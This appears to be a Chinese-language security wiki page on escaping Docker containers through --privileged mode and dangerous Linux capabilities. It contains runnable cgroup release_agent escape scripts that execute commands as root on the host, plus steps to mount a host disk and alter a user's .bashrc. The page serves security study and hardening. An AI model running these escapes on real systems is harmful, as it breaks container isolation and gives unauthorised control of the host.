过度权限

使用--privileged或危险权能运行Docker容器允许特权操作。

--privileged标志为容器提供所有权能(Capabilities),并且还解除了设备cgroup控制器强加的所有限制。换句话说,容器几乎可以执行主机可以执行的所有操作。

您可以使用capsh命令查看授予的权能:

$ capsh --print | grep Current

CAP_SYS_ADMIN

CAP_SYS_ADMIN在很大程度上是一个全能权能,它很容易导致额外的权能或完整的root权限(通常是对所有权能的访问)。执行一系列管理操作需要CAP_SYS_ADMIN,如果在容器内执行特权操作,很难从容器中删除此权能。对于模拟整个系统的容器,保留此权能通常是必要的,而可以更限制性的单个应用程序容器则不需要。

滥用用户模式助手API

特权容器可以注册在内核上下文中执行的用户模式应用程序助手,有关从内核调用用户空间应用程序的更多信息见此处

@_fel1x逃逸技术基于滥用cgroups v1中notify_on_release功能的功能,以完全特权的root用户身份运行漏洞利用。

这是一个在主机上启动ps的PoC版本:

# 查找并启用cgroup release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# 在cgroup中启用notify_on_release
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将release_agent设置为/path/payload
touch /o; echo $t/c > $d/release_agent
# 创建payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
# 通过空的cgroup.procs触发cgroup
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# 读取输出
cat /o

使用此技术的要求

实际上,--privileged提供的权限比通过此方法逃逸Docker容器所需的要多得多。实际上,"唯一"的要求是:

  • 您必须在容器内以root身份运行。

  • 容器必须以CAP_SYS_ADMIN Linux权能运行。

  • 容器必须缺少AppArmor配置文件,或允许mount系统调用。

  • cgroup v1虚拟文件系统必须在容器内以读写方式挂载。

使用cgroups传递漏洞利用

PoC滥用cgroups v1中notify_on_release功能的功能,以完全特权的root用户身份运行漏洞利用。

当cgroup中的最后一个任务离开(通过退出或附加到另一个cgroup)时,将执行release_agent文件中提供的命令。这的预期用途是帮助修剪废弃的cgroup。此命令在调用时,在主机上以完全特权的root身份运行。

notify_on_release做什么?

如果在cgroup中启用了notify_on_release标志,那么每当cgroup中的最后一个任务离开(退出或附加到其他cgroup)并且该cgroup的最后一个子cgroup被移除时,内核将运行该层次结构根目录中release_agent文件内容指定的命令,提供废弃cgroup的路径名(相对于cgroup文件系统的挂载点)。这实现了废弃cgroup的自动移除。系统启动时根cgroup中notify_on_release的默认值是禁用的。创建时其他cgroup的默认值是其父级notify_on_release设置的当前值。cgroup层次结构的release_agent路径的默认值为空。

仅使用CAP_SYS_ADMIN权能逃逸

有一种更简单的方法来编写这个漏洞利用,使其在没有--privileged标志的情况下工作。在这种情况下,您将无法访问--privileged提供的读写cgroup挂载。为此,您需要自己将cgroup挂载为读写。这为漏洞利用增加了一行,但需要更少的权限。

在主机上运行容器的命令示例:

$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

下面的漏洞利用将在主机上执行ps aux命令并将其输出保存到容器中的/output文件。它使用与原始PoC相同的release_agent功能在主机上执行。

# 挂载RDMA cgroup控制器并创建子cgroup
# 此技术应该适用于大多数cgroup控制器
# 如果您跟随操作并得到"mount: /tmp/cgrp: special device cgroup does not exist"
# 这是因为您的设置没有RDMA cgroup控制器,尝试将rdma更改为memory来修复它
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 在"x" cgroup释放时启用cgroup通知
echo 1 > /tmp/cgrp/x/notify_on_release
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将release_agent设置为/path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 创建payload
echo "#!/bin/sh" > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
# 通过在"x"子cgroup内生成立即结束的进程来执行攻击
# 通过创建/bin/sh进程并将其PID写入"x"子cgroup目录中的cgroup.procs文件
# 主机上的脚本将在/bin/sh退出后执行
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# 读取输出
cat /output

滥用暴露的主机目录

假设/home目录在特权容器内通过/dev/sdb1暴露。在这种情况下,您可以为该块设备生成设备节点,将其挂载到容器中,并访问主机的/home目录。

$ docker run --privileged -it --rm alpine:latest
/ $ apk update && apk add util-linux
# ...
/ $ lsblk
NAME      MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda         8:0    0   45G  0 disk
├─sda1      8:1    0 40.9G  0 part /etc/hosts
├─sda2      8:2    0   16M  0 part
├─sda3      8:3    0    2G  0 part
│ └─vroot 253:0    0  1.2G  1 dm
├─sda4      8:4    0   16M  0 part
├─sda5      8:5    0    2G  0 part
├─sda6      8:6    0  512B  0 part
├─sda7      8:7    0  512B  0 part
├─sda8      8:8    0   16M  0 part
├─sda9      8:9    0  512B  0 part
├─sda10     8:10   0  512B  0 part
├─sda11     8:11   0    8M  0 part
└─sda12     8:12   0   32M  0 part
sdb         8:16   0    5G  0 disk
└─sdb1      8:17   0    5G  0 part
zram0     252:0    0  768M  0 disk [SWAP]
/ $ mknod /dev/sdb1 block 8 17
/ $ mkdir /mnt/host_home
/ $ mount /dev/sdb1 /mnt/host_home
/ $ echo 'echo "Hello from container land!" 2>&1' >> /mnt/host_home/eric_chiang_m/.bashrc

参考资料:

CAP_SYS_MODULE

CAP_SYS_MODULE允许进程加载和卸载任意内核模块(init_module(2)finit_module(2)delete_module(2)系统调用)。这可能导致简单的权限提升和ring-0妥协。内核可以被随意修改,破坏所有系统安全、Linux安全模块和容器系统。

Docker在特权容器中删除了CAP_SYS_MODULE权能。

参考资料:

CAP_SYS_RAWIO

CAP_SYS_RAWIO提供许多敏感操作,包括访问/dev/mem/dev/kmem/proc/kcore、修改mmap_min_addr、访问ioperm(2)iopl(2)系统调用以及各种磁盘命令。FIBMAP ioctl(2)也通过此权能启用,这在过去曾引起问题。根据手册页,这也允许持有者描述性地在其他设备上执行一系列设备特定操作

CAP_NET_ADMIN

CAP_NET_ADMIN允许权能持有者修改暴露的网络命名空间的防火墙、路由表、套接字权限、网络接口配置和暴露网络接口上的其他相关设置。这也提供了为附加的网络接口启用混杂模式并可能跨命名空间嗅探的能力。

应该注意的是,一些权限提升漏洞和其他历史弱点已经利用此权能的能力造成。这包括CVE-2011-1019,它有效地授予CAP_SYS_MODULE权能以加载任意模块,并使用ifconfig CVE-2010-4655轻易利用,这导致敏感堆内存泄露,以及导致拒绝服务和可能任意代码执行的CVE-2013-4514。这些问题主要是由于巨大的攻击表面和为特殊接口或套接字类型的隐式模块加载。

CAP_SYS_CHROOT

CAP_SYS_CHROOT允许使用chroot(2)系统调用。这可能允许逃逸任何chroot(2)环境,使用已知的弱点和逃逸方法:

CAP_SYS_PTRACE

CAP_SYS_PTRACE允许使用ptrace(2)和最近引入的跨内存附加系统调用,如process_vm_readv(2)process_vm_writev(2)。如果授予此权能并且ptrace(2)系统调用本身没有被seccomp过滤器阻止,这将允许攻击者绕过其他seccomp限制,参见如果允许ptrace则绕过seccomp的PoC

参考资料:

CAP_NET_RAW

CAP_NET_RAW允许进程能够为可用网络命名空间创建RAW和PACKET套接字类型。这允许通过暴露的网络接口进行任意数据包生成和传输。在许多情况下,此接口将是虚拟以太网设备,这可能允许恶意或受损的容器在各种网络层欺骗数据包。具有此权能的恶意进程或受损容器可以注入到上游网桥,利用容器之间的路由,绕过网络访问控制,并且如果没有防火墙限制数据包类型和内容,则可以篡改主机网络。

Docker设置容器网络,使所有容器共享同一个Linux虚拟网桥。这些容器将能够相互通信。即使此直接网络访问被禁用(使用Docker的-icc=false标志),容器也不受链路层流量的限制。特别是,对同一主机系统内的另一个容器进行ARP欺骗攻击是可能的(事实上相当容易),允许对目标容器的流量进行完整的中间人攻击。

CAP_SYS_BOOT

CAP_SYS_BOOT允许使用reboot(2)系统调用。它还允许通过LINUX_REBOOT_CMD_RESTART2执行任意重启命令,为某些特定硬件平台实现。

此权能还允许使用kexec_load(2)系统调用,该调用加载新的崩溃内核,从Linux 3.17开始,kexec_file_load(2)也将加载已签名的内核。

CAP_SYSLOG

CAP_SYSLOG最终在Linux 2.6.37中从CAP_SYS_ADMIN全能权能中分离出来,此权能允许进程使用syslog(2)系统调用。当/proc/sys/kernel/kptr_restrict设置为1时,这也允许进程查看通过/proc和其他接口暴露的内核地址。

kptr_restrict sysctl设置在2.6.38中引入,确定是否暴露内核地址。自2.6.39以来,在vanilla内核中这默认为零(暴露内核地址),尽管许多发行版正确地将值设置为1(对除uid 0之外的所有人隐藏)或2(总是隐藏)。

此外,如果dmesg_restrict设置为1,此权能还允许进程查看dmesg输出。最后,由于历史原因,CAP_SYS_ADMIN权能仍然允许执行syslog操作。

CAP_DAC_READ_SEARCH允许进程绕过文件读取、目录读取和执行权限。虽然这被设计用于搜索或读取文件,但它也授予进程调用open_by_handle_at(2)的权限。任何具有CAP_DAC_READ_SEARCH权能的进程可以使用open_by_handle_at(2)来访问任何文件,甚至超出其挂载命名空间的文件。传递到open_by_handle_at(2)的句柄应该是使用name_to_handle_at(2)检索的不透明标识符。然而,此句柄包含敏感和可篡改的信息,如inode号。Sebastian Krahmer首次通过shocker漏洞利用在Docker容器中显示这是一个问题。

Docker通过删除CAP_DAC_READ_SEARCH(以及使用seccomp阻止对open_by_handle_at的访问)来缓解了这个问题

参考资料

最后更新于